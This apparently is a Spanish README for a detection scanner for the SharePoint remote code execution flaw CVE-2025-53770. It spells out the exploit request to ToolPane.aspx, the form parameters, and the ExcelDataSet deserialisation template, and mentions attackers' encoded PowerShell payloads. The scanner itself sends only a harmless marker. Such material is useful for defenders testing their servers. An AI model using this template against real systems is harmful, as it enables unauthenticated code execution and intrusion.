
Escáner para la vulnerabilidad de día cero RCE CVE-2025-53770 de SharePoint (fork de hazcod/CVE-2025-53770)
Este es un escáner para la vulnerabilidad de ejecución remota de código no autenticada en SharePoint, a la que se le asignó el número de CVE CVE-2025-53770. El código fue escrito mediante ingeniería inversa de un payload visto en estado salvaje.
Úsalo bajo tu propio riesgo; no soy responsable de ningún impacto negativo que esto pueda causar.
Intenta explotar la vulnerabilidad inyectando un marcador en el widget ToolBox de SharePoint. Si en la respuesta del servidor SharePoint se encuentra este marcador inofensivo, el host se marca como vulnerable.
# comprueba si <TARGET-HOSTNAME> es vulnerable e intenta extraer información de la versión
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# activa el registro de depuración e intenta recuperar la información de la versión de SharePoint
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Cualquiera que ejecute la versión on-prem del servidor SharePoint sin KB5002768 y KB5002754.
La vulnerabilidad presumiblemente se basa en una vulnerabilidad previamente divulgada para SharePoint, CVE-2025-49706.
Al enviar una solicitud HTTP POST a https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con un payload comprimido con GZIP y codificado en BASE64, se puede lograr la ejecución remota de código como el proceso de runtime de SharePoint.
Dos parámetros de formulario son importantes aquí:
MSOTlPn_Uri: Ruta de origen del controlEste finge hacer referencia a un control legítimo de SharePoint (AclEditor.ascx) y engaña a SharePoint para que permita la edición del elemento web.
Este parece ser un valor ficticio/falso solo para pasar la validación.
El payload malicioso original incluye MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, pero no parece ser utilizado en este punto.
MSOTlPn_DWP: Configuración parcial del web.Este parámetro inyecta directivas ASP.NET personalizadas (<%@ Register %>) y marcado del lado del servidor (<Scorecard:ExcelDataSet>).
El parámetro CompressedDataTable contiene datos serializados controlados por el atacante (GZIP + base64), lo que desencadena la RCE.
Este payload sigue una estructura determinada:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Si existe un control como Scorecard:ExcelDataSet y su propiedad CompressedDataTable está establecida, se deserializa directamente por el analizador DWP de SharePoint.
El payload en sí mismo puede ser bastante interesante, ya que puede contener un System.DelegateSerializationHolder que desencadena una RCE por deserialización.
Los actores de amenazas abusaron de esto para pasar /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> en su payload y lograr la ejecución de código.
En nuestro caso, simplemente pasamos un marcador estático para demostrar la explotabilidad;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>